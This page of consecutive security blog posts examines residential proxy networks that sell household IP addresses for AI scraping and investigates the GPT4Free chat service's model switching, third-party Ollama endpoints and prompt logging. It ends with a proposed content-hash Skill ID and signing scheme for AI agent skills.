States</td><td>1.14M</td></tr><tr><td>France</td><td>988K</td></tr><tr><td>Philippines</td><td>774K</td></tr><tr><td>Indonesia</td><td>691K</td></tr><tr><td>Poland</td><td>519K</td></tr><tr><td>Spain</td><td>518K</td></tr><tr><td>Ukraine</td><td>481K</td></tr></tbody></table>&nbsp;

Inside the hidden supply chain of residential proxies

Your IP, Their Traffic 

An ordinary home connection can now form part of a much larger data collection network, sometimes through an app installed for a completely different reason.&nbsp;AI models were first associated with enormous collections of text, but today's systems need far more: current search results, product catalogues, images, music, video, live websites and almost anything else that can make them more capable or keep their answers up to date. Training is only part of the demand. Shopping assistants, research tools and other AI agents need to return to the web continuously if they are to work with current information.&nbsp;Collecting all of that data is not straightforward. Website operators impose rate limits, block known datacenter addresses and use anti-bot systems to identify automated activity. A crawler operating from a cloud server is relatively easy to spot. Traffic coming from an ordinary home connection is much harder to reject without also blocking legitimate visitors.&nbsp;Residential proxy networks offer a way around those controls by routing requests through IP addresses assigned to real households. The website sees what appears to be an ordinary visitor in a particular country, city or network, which is precisely what makes the connection valuable to the buyer.&nbsp;The person paying for that connection may see a very different proposition: install an app, share some "unused bandwidth" and receive money, rewards or free access in return. The screen may explain that the app will use spare resources, but say little about who will use the connection, which websites they will visit or why a residential IP address is worth paying for.&nbsp;

<h2>Why AI companies want residential IP addresses&nbsp;</h2>Once an AI product depends on live information, web access becomes part of the product itself. A shopping assistant is of limited use if it cannot see today's prices and stock, while a research agent has to open pages and follow links as it works. The same problem applies to systems handling audio, images and video.&nbsp;Many websites do not welcome automated collection at that scale. They throttle repeated requests, challenge suspicious sessions and block addresses associated with data centers or known automation. Residential proxies spread those requests across household connections, making them much harder to separate from normal browsing.&nbsp;This is no longer a niche use case hidden in technical documentation. Several large proxy providers now give AI its own product pages, integrations and commercial programmes.&nbsp;<a href="https://brightdata.com/ai/web-access" target="_blank" rel="noreferrer noopener">Bright Data</a> promotes infrastructure for model training, retrieval, multimodal datasets and web access for AI agents. It claims access to more than 400 million residential IP addresses and presents its services as a way to overcome CAPTCHAs, rate limits and blocked requests.&nbsp;<a href="https://oxylabs.io/solutions/ai-web-search" target="_blank" rel="noreferrer noopener">Oxylabs</a> sells proxy and scraping infrastructure for real-time AI search and agents, while <a href="https://soax.com/use-cases/ai-datasets" target="_blank" rel="noreferrer noopener">SOAX</a> recommends rotating residential proxies for collecting product data, prices, listings and AI training sets. <a href="https://decodo.com/data-ai-training" target="_blank" rel="noreferrer noopener">Decodo</a> markets residential proxies and scraping tools for AI training and live agents. <a href="https://iproyal.com/use-cases/ai-training/" target="_blank" rel="noreferrer noopener">IPRoyal</a> describes rotating residential proxies as infrastructure for large-scale AI data collection.&nbsp;The network sizes are the companies' own figures and should be read as marketing claims rather than independent measurements. Even so, the pitch across the industry is remarkably consistent: household IP addresses help automated systems reach websites that resist datacenter traffic.&nbsp;The Suno leak offered a rare look at how this can work from the customer's side. <a href="https://ddosecrets.org/article/suno-ai-source" target="_blank" rel="noreferrer noopener">Distributed Denial of Secrets</a> published more than 100 repositories attributed to the AI music company, saying the material showed that Suno collected music and related information from YouTube, Genius and Deezer with assistance from Bright Data. <a href="https://www.404media.co/hack-reveals-suno-ai-music-generator-scraped-youtube-deezer-and-genius/" target="_blank" rel="noreferrer noopener">404 Media</a> reported that one file referred to 2,013,545 YouTube Music clips, while comments in other files described datasets containing hundreds of thousands of hours of audio.&nbsp;<h2>How household connections enter the supply chain&nbsp;</h2>A residential network can only offer household IP addresses if real devices supply them. Some people deliberately install bandwidth-sharing or "passive income" tools. In other cases, the proxy component sits inside a free app whose visible purpose has nothing to do with routing somebody else's traffic.&nbsp;<a href="https://spur.us/blog/smart-tv-apps-residential-proxy-sdks" target="_blank" rel="noreferrer noopener">Spur Intelligence</a> scanned 6,038 applications across LG webOS and Samsung Tizen and reported residential proxy functionality in 2,058 of them. The list included games, screensavers and utilities, exactly the sort of apps someone could install without expecting the television to become part of a commercial proxy network.&nbsp;Televisions are useful proxy nodes because they remain online for long periods and few people inspect what is running in the background. Someone may accept a prompt once, forget about it and continue using the television while the proxy component remains active. <a href="https://www.mnemonic.io/resources/blog/samsungs-recommendation-rent-out-your-tvs-internet-connection/" target="_blank" rel="noreferrer noopener">Researchers at Mnemonic</a> found that, once enabled, the Bright Data SDK in some Samsung apps activated a background service that continued running after the user navigated away from the app.&nbsp;The television manufacturers have since responded. <a href="https://krebsonsecurity.com/2026/07/lg-to-ban-residential-proxies-from-smart-tv-apps/" target="_blank" rel="noreferrer noopener">LG</a> said it would suspend webOS apps whose developers failed to remove residential proxy functionality. <a href="https://techcrunch.com/2026/08/03/samsung-bans-smart-tv-apps-that-share-users-internet-connections-with-strangers/" target="_blank" rel="noreferrer noopener">Samsung</a> has restricted new app registrations containing proxy components, is introducing a platform-wide ban on residential proxy SDKs and says it is identifying and removing existing apps that contain them.&nbsp;Whatever an individual consent screen may say, these companies have decided that residential proxy functionality does not belong in apps distributed through their smart TV platforms.&nbsp;<h2>What "unused bandwidth" does not tell you&nbsp;</h2>The phrase sounds harmless. Most people will understand it as capacity that is sitting idle, not as permission for paying customers to visit websites through their IP address.&nbsp;That IP address is what gives the connection its commercial value. It allows a proxy customer to make requests that websites see as coming from a household rather than a datacenter. Describing the arrangement only in terms of bandwidth leaves out the part that buyers are actually paying for.&nbsp;The amount of traffic can also be difficult to judge from a consent screen. In the Petflix Roku app, the screen said Bright Data would <a href="https://blog.includesecurity.com/2026/06/the-smart-tv-in-your-livingroom-is-a-node-in-the-aiscraping-economy/" target="_blank" rel="noreferrer noopener">"occasionally" use the device's free resources</a> and IP address to download public web data. Include Security found that the SDK's publicly accessible configuration set a maximum of 200 GB of Wi-Fi traffic per month. That setting does not tell us how much data a typical device transferred, but it does show how little the word "occasionally" tells the person being asked to agree.&nbsp;<h2>Residential proxy networks also carry malicious traffic&nbsp;</h2>Fraudsters use the same infrastructure for phishing, malicious advertising, automated account activity and malware distribution.&nbsp;In our <a href="https://www.gendigital.com/blog/insights/research/residential-proxies" target="_blank" rel="noreferrer noopener">previous research</a>, Gen telemetry recorded 7.4 million malicious incidents associated with residential proxy traffic since January 2026, affecting 572,000 users. Phishing and malicious advertising were the largest categories, followed by e-shop scams, financial scams and malware.&nbsp;Those figures do not measure the whole residential proxy market, and they do not mean that every affected user was running a proxy node. They cover malicious activity associated with residential proxy traffic that reached people protected by our products.&nbsp;When abusive traffic exits through a household connection, that address may be the first identifier seen by the outside world. The customer can stop using the proxy, but blocks or suspicion may remain attached to the household connection.&nbsp;<h2>What informed consent would require&nbsp;</h2>Residential proxy providers say their networks are ethically sourced and based on user consent. <a href="https://brightdata.com/trustcenter/sourcing" target="_blank" rel="noreferrer noopener">Bright Data</a>, for example, says devices join its network only after users agree through an approved app and consent screen.&nbsp;A user may click "accept" knowing that an app will use spare bandwidth and still have no idea that companies will route automated traffic through the connection. They may never be told that the traffic could involve AI training, web scraping or software agents visiting sites at scale.&nbsp;The consent screen should say that third parties will access websites through the user's home IP address. It should explain the main categories of use, show when the proxy is active and make it possible to switch the function off without losing control of the rest of the app. Users should also be told how much data the software is allowed to consume.&nbsp;Residential proxies do have legitimate uses, including ad verification, price comparison and testing how services appear in different locations. AI developers also need current public information. In any case, those uses do not justify vague consent.&nbsp;People do not need to know the term “residential proxy.” They do need to know that third parties may route traffic through their home connection, that websites will see their IP address, and how much data the software is allowed to consume. That should be clear before they click accept, not buried in terms they are unlikely to read.&nbsp;Calling it “unused bandwidth” does not change what the buyer is purchasing: access to a household IP address.&nbsp;

Residential proxy providers sell household IP access for AI data collection, but many users do not understand what that access involves. 

Is Your Home Internet Feeding the AI Data Race? 

At first, nothing about the conversation looks unusual. You open g4f.dev, choose one of the many AI models on offer, type a question and watch the answer appear. The exchange feels direct, almost private: you, the website and the model whose name you selected.&nbsp;We decided to follow the prompt. What looked like a simple conversation quickly became much more crowded, with GPT4Free infrastructure, provider code, third-party services and external model endpoints all potentially playing a part. Along the way, details about the request could be recorded together with the user’s IP address and approximate location, while the model named in the interface did not always match the model identified in the response.&nbsp;The strangest part came when we examined where some of those requests might be processed. The project includes lists of externally accessible Ollama systems, including servers on personal-looking domains and infrastructure associated with organizations or other services. Their relationship with GPT4Free is not made clear to the person whose prompt may be sent in their direction.&nbsp;This is not a story about every free AI service, and “free” is not in itself evidence of anything sinister. It is a look at one popular service and at how little a polished chatbot interface can reveal about the people, systems and data practices operating behind it.&nbsp;

<h2>We followed the prompt&nbsp;</h2>GPT4Free is a widely followed open-source project that can be installed locally, but it also operates a hosted chat service at g4f.dev. Our analysis concentrated on that hosted version, where visitors can choose from models carrying names associated with OpenAI, Google, Anthropic and other developers without creating separate accounts with those companies.&nbsp;

Behind that one interface sits a collection of providers, small pieces of code that take a chat request and adapt it to whatever the next service expects. Some lead towards official model endpoints, others recreate the web exchanges used by third-party AI sites, and some draw on custom servers. Routes that are technically very different become visually indistinguishable once they appear in the same model menu.&nbsp;Following the request therefore meant looking past the label in the interface. We compared the model chosen by the user with the provider selected by GPT4Free, the request sent onwards and the identifier returned with the answer. That was when the apparently straightforward conversation began to come apart.&nbsp;<h2>The model we chose was not always the model that answered&nbsp;</h2>Several of our tests used options associated with the Gemini provider. The prompts travelled through an OpenAI-compatible chat endpoint on g4f.space before being directed to Google’s Gemini infrastructure, but in some of those exchanges the model named in the response differed from the one we had selected in GPT4Free.&nbsp;

During our testing, we observed multiple cases in which the model reported in the response differed from the one requested. Google documents that a latest alias can be updated to a newer release within the same model variation, which may explain some model changes. However, that documented behaviour does not explain the cases in which requests for Gemini Pro or Gemini Omni resulted in responses reporting models/gemini-3-flash-preview. GPT4Free’s code uses defaultModel when no model is provided or when the selection is set to “auto”, but neither condition applied in these tests. Based on the evidence currently available, we cannot determine where in the chain the model was changed or which service was responsible.&nbsp;For someone using the chat, the uncertainty remains regardless of which system made the switch. Selecting a model in an aggregator tells you what you requested, but it does not prove what ultimately processed the prompt. Establishing that requires the entire trail, from the interface and provider to the request sent upstream and the identifier that comes back with the response.&nbsp;<h2>Then the trail led to other people’s AI servers&nbsp;</h2>The investigation became more unusual when we reached Ollama.swarm. Ollama allows people to run large language models on their own computers, and much of its privacy appeal comes from keeping prompts and answers on that hardware. Its API normally listens only on the local machine, although an owner can expose it to a wider network, deliberately or through a configuration mistake, and an exposed instance may end up reachable from the public internet.&nbsp;GPT4Free’s provider code relies on JSON files containing addresses for external AI endpoints. One seed file describes 196 Ollama sources and actually contains slightly more than 200 entries. A comment attributes 20 of them to Shodan, while the origin of the rest is left unexplained in the material we examined. When we tested a selection, some responded as working Ollama or llama.cpp services and others had already disappeared.&nbsp;

The project also maintains a richer source for its Custom Providers list. Entries in the public server metadata can include a base URL, supported models and other routing information, while the is_ollama field identifies those configured as Ollama services. We found GPT4Free workers there, but also personal-looking domains and infrastructure associated with organisations or unrelated services.&nbsp;

The list alone cannot tell us why each server is there. Its owner may knowingly provide capacity to GPT4Free, may have exposed the service for another purpose, or may not realise that it can be reached at all. We therefore cannot describe the listed systems collectively as compromised or claim that they are all being used without consent. What we can see is a service offering them as possible destinations without explaining their ownership or role to the person typing the prompt.&nbsp;If a conversation reaches one of those systems, its privacy no longer depends only on GPT4Free or the company behind the model. It also depends on an endpoint the user did not choose and may never know existed, leaving no practical way to assess whether the prompt is recorded there, how long it remains or what else might happen to it.&nbsp;<h2>To reach another provider, the code puts on a disguise&nbsp;</h2>Toolbaz offered a different example of how the provider layer works. The site lets people try several AI models in a browser and uses automated checks intended to recognise a real visitor using a real device. The integration we examined recreates the web request Toolbaz expects and builds a plausible browser fingerprint containing screen dimensions, language, time zone and other details. It also generates a fresh identity for every request.&nbsp;

Together, these mechanisms make automated requests look more like separate human visits and make controls tied to a recurring identity less effective.&nbsp;The response also introduced another unresolved model name. We requested gpt-5.2, but the returned metadata identified toolbaz-v4.5-fast. Toolbaz describes ToolBaz-v4.5-Fast as its proprietary model and presents it separately from GPT-5.2. This indicates that the response was not identified as the model selected in GPT4Free, although we cannot determine the underlying architecture or technology behind Toolbaz’s proprietary model.&nbsp;<h2>The conversation does not simply pass through&nbsp;</h2>Following the prompt explained where it could travel, but the code also revealed what GPT4Free could keep. The researchers found separate code paths for usage and error logging, including retention logic covering 14 days for usage logs and 30 days for error logs. The usage-logging code includes fields for the requester’s IP address, approximate geolocation, provider, model and conversation data. The researchers did not have access to the stored logs themselves, so these findings describe the logging behavior implemented in the code, not the contents of the service’s live log files.&nbsp;The interaction between the chat interface and that logging logic creates an unexpected possibility. In the default mode, the browser resends the whole conversation whenever the user adds another message. The logger, according to our analysis, reads the first entry and then stops, so the opening prompt is repeatedly available to be recorded, while later messages reach the server without entering the GPT4Free usage log in the same way.&nbsp;

The obvious instinct might be to enable “Disable Conversation History”, but doing so changes the shape of each request. The browser then sends one message at a time, placing every new prompt in the first position where the same logging function can capture it.&nbsp;

A setting that appears more private can therefore cause more individual prompts to become eligible for the service’s usage log. “Disable Conversation History” accurately describes what changes in the browser interface, but it tells the user nothing about this less intuitive effect behind it.&nbsp;<h2>We went looking for an explanation&nbsp;</h2>By this stage we knew that prompts could cross several providers, that the displayed model did not always settle the question of which model answered, and that GPT4Free could retain conversation data alongside network and location information. We then looked for the documents that would normally explain those practices to users.&nbsp;We identified versions of the project’s members page on two related domains, gpt4free.github.io and g4f.dev. Both ask visitors to agree to a Privacy Policy and Terms of Service, but following either link returned the same Member Area instead of opening the promised document.&nbsp;

Because broken links do not necessarily mean that the documents are absent, we searched both domains separately for pages containing privacy or terms-related language. We also reviewed the project’s manifesto, the closest document we found to a general statement about how the service operates, but it does not explain how personal data or prompts are handled. Across those checks, Gen Threat Labs could not find a Privacy Policy or Terms of Service for the hosted service.&nbsp;A web search cannot prove that an unindexed page does not exist somewhere, which is why we are describing what we could find rather than claiming that no such document can possibly exist. For an ordinary user, however, the result is the same: the service asks for agreement to two documents that it does not provide through its own links and that we could not locate elsewhere.&nbsp;<h2>Think of the prompt as something you are handing over&nbsp;</h2>GPT4Free’s openness allowed us to inspect mechanisms that would remain hidden inside a closed platform. Most visitors will never read the code or suspect how many systems may be involved in producing one answer.&nbsp;Anyone using an unofficial AI service should assume that a prompt may travel through several parties. Passwords, authentication tokens, confidential documents, internal information, health or financial details and data about other people have no place there. Removing a name may not be enough when the surrounding context still identifies someone.&nbsp;Ollama users face the other side of the same story: local hardware offers no privacy if its API is exposed. Free or paid matters less than whether the operator can explain where prompts go, who processes them and what is retained. We began with a direct-looking conversation and found multiple providers, shifting identifiers, third-party endpoints and hidden logs.&nbsp;

You choose a model, ask a question and get an answer. Behind that familiar exchange is a less familiar journey involving prompt logs, shifting model identities and servers whose role is never explained to users.

Free AI, at the Price of Your Prompt

The problem: Same skill, different hashAs we developed the Agent Trust Hub (ATH)—our unified platform for advancing trustworthy AI—we built the skill analyzer, a risk assessment engine designed to evaluate the safety and integrity of skills contributed by the community. However, throughout this process, we encountered a fundamental challenge: it proved impossible to uniquely identify a skill across sources, and verifying the true identity of a skill’s author was equally unfeasible. This realization led us to propose a new skill ID standard, aiming to provide a reliable, content-based identifier that can solve these identification and trust issues for AI skills.To understand why, you need to know what a skill is. AI agents are extended through “skills” — directories containing a SKILL.md prompt file alongside supporting resources like scripts, documentation, and configuration. These skills live in GitHub repositories or skill marketplaces such as <a href="https://skills.sh/">skills.sh</a>, <a href="https://ai.gendigital.com/">Gen ATH</a> and ClawHub, and they work like plugins: install one and your AI agent gains new capabilities.

When distributed, the directory gets packaged into a ZIP file. But the ZIP is transport packaging. The meaningful artifact is the directory tree and everything in it. A change to any file, any filename, any directory in the tree produces a different skill. You need to fingerprint the whole thing as a unit.<h2>Why a simple hash doesn’t work</h2>The obvious answer is “hash it.” SHA-256 the artifact and use the digest as an identifier. This works well for single files — the security industry has used PE hashes, package checksums and file digests for decades. But a skill is a directory, not a file.You could hash the ZIP. But ZIPs are non-deterministic. The same directory tree produces different ZIP files depending on which tool created them, what compression level was used, and when. ZIP metadata includes timestamps — if you ZIP the same files a minute apart, the bytes differ. Different ZIP libraries order entries differently. Some tools store modification timestamps to the second; others truncate to two-second granularity. The ZIP format itself allows multiple valid representations of the same content.Then there are cross-platform problems. A skill author on Windows produces paths with backslashes <code>(lib\helper.py)</code>; on Unix, the same path uses forward slashes <code>(lib/helper.py)</code>. macOS HFS+ stores filenames in NFD Unicode normalization; Linux and Windows typically use NFC. The same accented character — é — might be one codepoint or two depending on the OS that created the ZIP.ZIP packaging conventions vary too. Some tools wrap all files in a top-level directory named after the archive <code>(my-skill/SKILL.md)</code>; others dump files at the root (SKILL.md). Download the same skill from GitHub’s “Download ZIP” button and from a CI pipeline, and you’ll likely get different wrapper directory names — or no wrapper at all.Hashing the ZIP bytes gives you a transport identifier, not a content identifier. Two ZIPs containing byte-for-byte identical files will produce different hashes. The same skill, downloaded from two sources, will look like two different skills.What we need is an identifier that represents the logical content of the skill directory — one that changes if and only if the actual files or structure change.

<h2>Designing the Skill ID</h2>The algorithm draws on a well-tested idea: git’s tree hashing. Git solved the “fingerprint a directory tree” problem decades ago by hashing a sorted list of entries where each entry records the type, name and content hash of a file or subdirectory. We adapted this approach for skill packages with normalization steps that neutralize the differences between archive formats, packaging tools and operating systems.Here’s the algorithm, step by step.<h3>1. Extract the file tree from the archive</h3>Read every entry in the archive — ZIP, tar.gz, tar.bz2, whatever the transport format happens to be. For each entry, record whether it’s a file or a directory and read the file content. Discard all archive metadata: timestamps, permissions, compression settings. Only the file tree survives.<h3>2. Normalize paths</h3>Each path goes through four normalizations:<ul><li data-list-item-id="e21b88a9a5d5480e58e9d3c738b97270e">Backslash to forward slash —&nbsp;<code>lib\helper.py becomes&nbsp;lib/helper.py</code></li><li data-list-item-id="eb5f9d1e35c2a3d65641ad7567333f0f7">Unicode NFC normalization — the combining sequence&nbsp;e +&nbsp;\<code>u0301</code> (NFD, common on macOS) becomes the precomposed&nbsp;\<code>u00e9</code> (NFC)</li><li data-list-item-id="e163263142bf0c175cc6fbbdaef12dbc9">Collapse redundant separators and dot components —&nbsp;<code>foo//bar/./baz.txt becomes&nbsp;foo/bar/baz.txt</code></li><li data-list-item-id="e8d310b0b1c31492dad54af5f4609e78f">Strip leading&nbsp;./ and&nbsp;/ —&nbsp;./<code>SKILL.md </code>becomes&nbsp;<code>SKILL.md</code></li></ul>After normalization, a file zipped on Windows with backslash paths produces the same normalized path as one zipped on Unix with forward slashes. A filename created on macOS in NFD matches the same filename created on Linux in NFC.<h3>3. Strip the wrapper directory</h3>If every entry lives under a single top-level directory (and there are no loose files at the root), strip that prefix. This handles the common case where packaging tools wrap contents in a directory named after the archive.A skill packaged as&nbsp;<code>my-skill/SKILL.md</code> produces the same Skill ID as one packaged as&nbsp;<code>SKILL.md</code> directly, or as&nbsp;<code>totally-different-name/SKILL.md</code>. The wrapper is a packaging artifact, not part of the skill’s identity.<h3>4. Exclude the signature file</h3>Remove any entry whose path is exactly&nbsp;<code>skill.sig</code>. This file is reserved for the skill signature (more on that later) and must not participate in the Skill ID computation. The signature lives inside the skill directory but is invisible to the identity algorithm — the same principle as Authenticode’s excluded region in a PE binary.<h3>5. Hash each file</h3>Compute the SHA-256 digest of each file’s raw content individually. Directory entries get the SHA-256 of empty bytes. These per-file hashes become useful later for caching.<h3>6. Build sorted tree entries</h3>Construct one entry per file and directory using null-byte delimiters:<code>&lt;type&gt;\0&lt;path&gt;\0&lt;sha256_hex&gt;\n</code>Where&nbsp;<code>&lt;type&gt;</code> is either&nbsp;<code>file or&nbsp;dir</code>. Sort entries by path.The null bytes prevent boundary collisions. Without them, a file named&nbsp;ab with <code>hash&nbsp;cd</code>... and a file named&nbsp;a with <code>hash&nbsp;bcd</code>... could produce the same concatenated string. The null delimiters make each field boundary unambiguous — same principle git uses with its tree entry format.<h3>7. Hash the tree</h3>Feed the sorted, concatenated entries into a final SHA-256 hash. The resulting 64-character hex digest is the Skill ID.Here’s what the core logic looks like, stripped to its essentials:<code># Exclude the signature file</code> <code>entries&nbsp;= [(p, d)&nbsp;for p, d&nbsp;in entries&nbsp;if p&nbsp;!=&nbsp;"skill.sig"]</code> <code>file_hashes&nbsp;= {}</code> <code>tree_entries&nbsp;= []</code> <code>for path, is_dir&nbsp;in entries:</code> <code>&nbsp; &nbsp;&nbsp;if is_dir:</code> <code>&nbsp; &nbsp; &nbsp; &nbsp; content_hash&nbsp;= sha256(b"").hexdigest()</code> <code>&nbsp; &nbsp; &nbsp; &nbsp; tree_entries.append(("dir", path, content_hash))</code> <code>&nbsp; &nbsp;&nbsp;else:</code> <code>&nbsp; &nbsp; &nbsp; &nbsp; content_hash&nbsp;= sha256(file_contents[path]).hexdigest()</code> <code>&nbsp; &nbsp; &nbsp; &nbsp; file_hashes[path]&nbsp;= content_hash</code> <code>&nbsp; &nbsp; &nbsp; &nbsp; tree_entries.append(("file", path, content_hash))</code> <code># Sort by path for deterministic ordering</code> <code>tree_entries.sort(key=lambda e: e[1])</code> <code># Hash the tree</code> <code>skill_hasher&nbsp;= sha256()</code> <code>for entry_type, path, content_hash&nbsp;in tree_entries:</code> <code>&nbsp; &nbsp; line&nbsp;=&nbsp;f"{entry_type}\0{path}\0{content_hash}\n".encode()</code> <code>&nbsp; &nbsp; skill_hasher.update(line)</code> <code>skill_id&nbsp;= skill_hasher.hexdigest()</code>The function returns both the Skill ID and the dictionary of per-file hashes. One call, two useful outputs.<h3>A concrete example</h3>A skill with two files — <code>SKILL.md</code> containing <code># My Skill\nDo something useful.\n</code> and <code>lib/helper.py containing def helper():\n&nbsp; &nbsp; return True\n — produces Skill ID 8cc13e05527df88d6c53ab0534bf43aea3b8f7456ac135a0d78f859bc9e6bd85. Wrap those same files in my-skill/ and the ID is identical. Add a .DS_Store and it changes to 847c22d50591cfabeca26859f1295c903cd134e0b26cd146a9ea7283ad3241d0.</code>

<h2>Properties that matter</h2>The Skill ID has one defining property: it changes if and only if meaningful content changes.Same files, different archive timestamps? Same ID. Same files, different entry order in the archive? Same ID. Same files, wrapped in a directory called&nbsp;<code>my-skill/</code> vs.&nbsp;<code>beta-release/</code> vs.&nbsp;no wrapper at all? Same ID. Windows backslashes vs.&nbsp;Unix forward slashes? Same ID. macOS NFD filenames vs.&nbsp;Linux NFC filenames? Same ID.Change one byte of one file? Different ID. Rename a file? Different ID. Add an empty file? Different ID. Change directory structure? Different ID.The ID is deterministic — same input, same output. It’s content-addressable, derived solely from the files themselves. And it inherits SHA-256’s collision resistance.One deliberate design choice: OS metadata files like&nbsp;<code>.DS_Store</code>,&nbsp;<code>Thumbs.db</code>,&nbsp;<code>desktop.ini</code>, and&nbsp;<code>__MACOSX/</code> resource forks are included in the hash, not filtered out. This is the conservative stance — defense over convenience. If a&nbsp;<code>.DS_Store</code> file appears inside a skill ZIP, the Skill ID reflects it. The alternative — silently ignoring certain filenames — introduces a filtering policy that would need ongoing maintenance and could mask unintended content. If a skill author’s build process leaks OS metadata into the ZIP, the Skill ID will catch it. That seems preferable to pretending those files don’t exist.<h2>What you can build with a stable ID</h2>A content-addressable identifier for skills unlocks the same workflows that file hashes enabled for executables, and the security industry has been refining those workflows for decades.<h3>Allowlisting</h3>Hash-based allowlisting is one of the oldest patterns in endpoint security: compute the hash of a known-good binary, store it and skip re-scanning when the same hash appears again. Skill IDs enable the same pattern. When a skill has been manually reviewed and cleared — say, a first-party office document conversion skill that happens to compile C code at runtime — its Skill ID goes into an override table. Any future submission matching that ID gets the pre-approved result immediately, no analysis pipeline needed. Change one byte and the override no longer applies, forcing a fresh review.<h3>Content-addressable storage</h3>The Skill ID serves as a natural storage key. Upload a skill ZIP to object storage keyed by its Skill ID, and you get automatic deduplication — the same skill submitted by a hundred users is stored once. This is the same principle behind git objects and Docker image layers: address content by its hash, store it once, reference it everywhere.<h3>Per-file caching</h3>The per-file hashes returned alongside the Skill ID enable granular caching of expensive analysis steps. An LLM-based security analysis of a single file might cost real money and real time. If a skill is updated but only one file changes, the per-file hashes let you reuse cached analysis for every unchanged file and re-analyze only the delta. The composite Skill ID changes (because one file changed), but most of the analysis work is already done.<h3>Detection flagging</h3>Individual file hashes connect directly to existing reputation and detection systems. If the&nbsp;SKILL.md file in a skill contains references to known-malicious URLs, you can set a detection flag on that file’s SHA-256 hash — the same killbit mechanism the security industry uses for flagging malicious executables. The file hash becomes the bridge between the skill analysis system and established threat intelligence infrastructure.<h3>Version tracking</h3>Every content change produces a new Skill ID. This creates natural version boundaries without requiring any explicit versioning scheme. If the ID is the same, the skill hasn’t changed. If it differs from what you saw last time, something is different — no version<a>&nbsp;</a><a href="//7233A19B-A4BD-4ADF-A339-3B79CEBBCA6C#_msocom_1" id="_anchor_1">[AR1]</a>&nbsp;<a href="//7233A19B-A4BD-4ADF-A339-3B79CEBBCA6C#_msocom_2" id="_anchor_2">[MS2]</a>&nbsp;parsing, no changelog inspection, no trust in a self-reported version number. The content itself is the version.The parallel to traditional security is direct. PE files get a SHA-256 hash. NuGet and npm packages get checksums. Container images get content digests. Skill IDs serve the same role for a new artifact type — one that happens to be a directory tree instead of a single file.<h2>How we use it</h2>The Skill ID gates our analysis pipeline at Gen Threat Labs. Same ID means cached results — skip everything. New ID triggers a fresh analysis pass: static content extraction, URL reputation checks, AV scanning and AI-powered security review.

<h2>Signing skills: From identity to authenticity</h2>The Skill ID answers “what is this skill?” — but not “who published it?” or “has it been tampered with since publication?” Identity is necessary but not sufficient. We also need authenticity.The approach borrows directly from Authenticode signing of Windows PE files. In a PE binary, the Authenticode signature is embedded inside the file itself, in a region that the hash algorithm knows to skip. The signature is physically present in the file but excluded from the hash calculation. This lets the binary carry its own proof of authenticity without that proof interfering with its identity.The skill equivalent is the&nbsp;<code>skill.sig</code> file, which lives inside the skill directory but the Skill ID algorithm skips it (step 4 above). Same principle, different artifact type.The&nbsp;skill.sig file uses a CMS SignedData envelope (PKCS #7 / RFC 5652), the same signature format Authenticode uses. The envelope contains the digital signature, the signer’s full certificate chain (end-entity certificate through intermediate CAs), and optionally an RFC 3161 timestamp countersignature from a trusted Timestamping Authority. The signed content isn’t the bare Skill ID but a versioned payload string:&nbsp;<code>SKILL_ID:1:sha256:&lt;skill_id&gt;</code>. The version and algorithm fields provide forward compatibility; if the digest algorithm or normalization rules ever change, the verifier knows exactly which rules produced the enclosed ID.Embedding the full certificate chain is what makes the skill self-verifiable. The signature, the chain, and the identity all travel together in the same artifact. No external key lookup is needed at verification time. A marketplace can verify on ingest. An agent runtime can verify before execution. An enterprise security team can verify before deployment.Verification follows the same pattern as Authenticode: compute the Skill ID while excluding&nbsp;<code>skill.sig</code>, parse the CMS envelope, confirm the signed payload matches the computed ID, build the certificate chain up to a trusted root, validate expiry and the code-signing Extended Key Usage, check revocation via CRL or OCSP and verify the cryptographic signature. If a timestamp countersignature is present and the signer’s certificate has expired but was valid at the countersigned time, the signature is still accepted.The pattern enables several trust models. Author signing: the skill author obtains a code-signing certificate and signs the Skill ID, proving authorship. Marketplace attestation: a marketplace countersigns skill IDs it has vetted, adding a layer of review. Private CA: enterprises operate their own certificate authority and issue signing certificates to approved authors, restricting execution to internally-approved skills. Revocation: when a signing key is compromised, the CA publishes the certificate on its CRL, and verifiers reject all skills signed with that certificate unless a valid timestamp countersignature proves the signature predates the revocation. Each model builds on the same primitive: a CMS envelope over the signed payload, excluded from the ID itself.<h2>Looking ahead</h2>A stable, cross-platform identifier for skills opens several directions worth pursuing.SHA-256 hashes are the lingua franca of malware intelligence — any vendor, any platform, same hash for the same file. Skill IDs could serve the same role for skill reputation. A skill flagged as malicious on one marketplace could be recognized on another or by an independent scanning service, using nothing but the Skill ID. No API integration required.The per-file hashes already make incremental analysis possible in principle. When a skill is updated, diff the per-file hash dictionaries: unchanged hashes reuse cached analysis, changed hashes trigger re-analysis. For LLM-based analysis (the most expensive stage in the pipeline) this could cut costs and latency substantially on minor updates.Skill ID is a companion to&nbsp;<a href="https://www.gendigital.com/blog/news/company-news/ai-agent-runtime-security">AARTS</a>, our standard for runtime agent action transparency. AARTS defines how agent actions are intercepted and evaluated at runtime; Skill ID defines how skills are identified and authenticated before they’re loaded. Together they cover both runtime behavior and supply chain identity.<h2>Conclusion</h2>Skills are code — natural-language code, but code nonetheless. And like all code that gets distributed, shared, and executed, skills need an identity before the security industry’s established workflows can apply to them.The Skill ID is deliberately unoriginal. SHA-256 for content hashing. Git-style tree entries for directory fingerprinting. Null-byte delimiters for boundary safety. Path normalization for cross-platform consistency. Wrapper stripping for transport independence. Every piece has been proven elsewhere; we assembled them for a new artifact type.The value isn’t in the hash. It’s in what the hash enables: allowlisting, deduplication, per-file caching, detection flagging, version tracking and cryptographic signing. These are the same workflows the security industry built around file hashes over the past two decades. Skills just needed their own version of the fingerprint.Marketplace operators can implement Skill ID for verifiable identity; agent runtimes can verify IDs before loading skills. The spec and reference implementation are on&nbsp;<a href="https://github.com/gendigitalinc/skill-id-standard">GitHub</a>.As part of the broader Agent Trust Hub vision, Skill ID lays the groundwork for an AI ecosystem where skills can be identified, authenticated and governed with the same rigor we expect from every other critical software layer.

Why AI agent skills need their own fingerprint: a content-based ID that stays stable across packaging, platforms and marketplaces

Fingerprinting AI Agent Skills: The Missing Identity Layer for Agent Plugins 

